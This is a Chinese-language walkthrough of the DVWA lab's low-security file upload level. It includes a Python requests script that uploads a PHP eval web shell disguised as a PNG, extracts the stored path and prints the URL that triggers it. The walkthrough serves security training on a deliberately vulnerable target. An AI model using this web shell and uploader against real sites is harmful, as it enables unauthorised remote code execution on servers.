DVWA靶场的文件上传关卡,初级
先上传文件,使用BurpSuite
抓取数据包
将POST
请求的数据包发送到Repeater
模块
分析使用Python的requests
模块发送请求需要携带哪些参数
也可以打开F12
,点击Network
查看需要携带哪些请求体参数
请求头:
"Cookie":"security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
请求体:
"MAX_FILE_SIZE": "100000"
"uploaded": "(binary)"
"Upload": "Upload"
上传的文件数据可以在BurpSuite
抓取到的数据包中查看
发现请求体中的uploaded
参数的值 "(binary)"
里面的二进制数据就应该是BurpSuite
中的文件名,文件内容,文件类型
文件内容:
"uploaded":('1.php','<?php @eval($_REQUEST[6868]);phpinfo();?>','image/png')
上传的文件需要在requests.post
的files
参数里
实现代码:
import requests
from bs4 import BeautifulSoup
url = 'http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/'
headers = {
"User-Agent": "",
"Cookie": "security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
}
data = {
"MAX_FILE_SIZE": "100000",
"Upload": "Upload"
}
files = {
"uploaded": ('2.php', '<?php @eval($_REQUEST[6868]);phpinfo();?>', 'image/png')
}
response = requests.post(url=url, headers=headers, data=data, files=files)
# 提取上传路径
soup = BeautifulSoup(response.text, 'lxml')
#提取pre标签的文件
pre_content=soup.find_all('pre')[0].text #../../hackable/uploads/2.php succesfully uploaded!
img_path=pre_content.split(' ')[0] #以空格为分割符,去左边第一个,也就是下标为0的
# print(img_path) #../../hackable/uploads/2.php
'''路径拼接'''
img_path=url+img_path
print(img_path) #http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/../../hackable/uploads/2.php
文件上传成功!
得到上传路径!
访问链接,触发php探针